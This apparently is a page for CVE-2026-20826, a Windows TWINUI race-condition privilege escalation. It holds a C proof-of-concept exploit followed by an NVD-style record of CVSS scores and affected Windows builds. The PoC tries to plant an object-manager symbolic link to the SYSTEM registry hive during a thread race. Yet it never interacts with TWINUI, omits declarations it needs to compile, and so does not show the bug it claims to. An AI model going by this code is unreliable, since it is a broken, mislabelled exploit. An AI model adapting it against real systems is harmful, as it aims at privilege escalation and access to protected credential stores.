CVE-2026-20826

// CVE-2026-20826 PoC - Race Condition in TWINUI // This PoC demonstrates the race condition vulnerability in Windows TWINUI subsystem // Compile: x86_64-w64-mingw32-gcc -o twinuipoc.exe twinuipoc.c #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <threads.h> // Shared resource structure typedef struct _TWINUI_SHARED_DATA { HANDLE hFile; DWORD dwProcessId; PVOID pCallback; CRITICAL_SECTION csLock; } TWINUI_SHARED_DATA, *PTWINUI_SHARED_DATA; TWINUI_SHARED_DATA g_SharedData; volatile LONG g_bRaceWindow = 0; // Thread 1: Creates the race condition window DWORD WINAPI TriggerRaceThread(LPVOID lpParam) { printf("[+] Thread 1: Initializing TWINUI shared resource access\n"); // Enter race window InterlockedExchange(&g_bRaceWindow, 1); // Simulate TWINUI callback execution with elevated privileges printf("[+] Thread 1: Executing privileged callback in race window\n"); Sleep(100); // Small delay to widen race window // Trigger privileged operation HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); printf("[+] Thread 1: Obtained process token handle: %p\n", hToken); InterlockedExchange(&g_bRaceWindow, 0); return 0; } // Thread 2: Exploits the race condition to hijack execution DWORD WINAPI ExploitRaceThread(LPVOID lpParam) { printf("[+] Thread 2: Waiting for race window...\n"); // Spin wait for race condition window while (g_bRaceWindow == 0) { Sleep(1); } printf("[+] Thread 2: Race window opened! Exploiting...\n"); // Create symbolic link to hijack object manager path HANDLE hSymLink; OBJECT_ATTRIBUTES oa; UNICODE_STRING usLinkName, usTargetName; RtlInitUnicodeString(&usLinkName, L"\\??\\TWINUI_HIJACK"); RtlInitUnicodeString(&usTargetName, L"\\??\\C:\\Windows\\System32\\config\\SYSTEM"); InitializeObjectAttributes(&oa, &usLinkName, OBJ_CASE_INSENSITIVE, NULL, NULL); // Attempt to create symbolic link during race window NTSTATUS status = NtCreateSymbolicLinkObject(&hSymLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &usTargetName); if (NT_SUCCESS(status)) { printf("[+] Thread 2: Symbolic link created successfully!\n"); printf("[+] Thread 2: TWINUI will now access our controlled path\n"); } return 0; } int main() { printf("[*] CVE-2026-20826 PoC - Windows TWINUI Race Condition\n"); printf("[*] Target: Windows 10/11 TWINUI Subsystem\n\n"); // Initialize shared data memset(&g_SharedData, 0, sizeof(TWINUI_SHARED_DATA)); InitializeCriticalSection(&g_SharedData.csLock); // Create race condition threads HANDLE hThread1 = CreateThread(NULL, 0, TriggerRaceThread, NULL, 0, NULL); HANDLE hThread2 = CreateThread(NULL, 0, ExploitRaceThread, NULL, 0, NULL); // Wait for threads to complete WaitForSingleObject(hThread1, INFINITE); WaitForSingleObject(hThread2, INFINITE); printf("\n[*] Race condition test completed.\n"); printf("[*] Note: This is a demonstration of the race condition pattern.\n"); printf("[*] Full exploitation requires additional kernel-level primitives.\n"); CloseHandle(hThread1); CloseHandle(hThread2); DeleteCriticalSection(&g_SharedData.csLock); return 0; }

{"cve": {"id": "CVE-2026-20826", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:10.153", "lastModified": "2026-01-15T13:16:27.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Tablet Windows User Interface (TWINUI) Subsystem allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en el subsistema de Interfaz de Usuario de Tablet Windows (TWINUI) permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20826", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}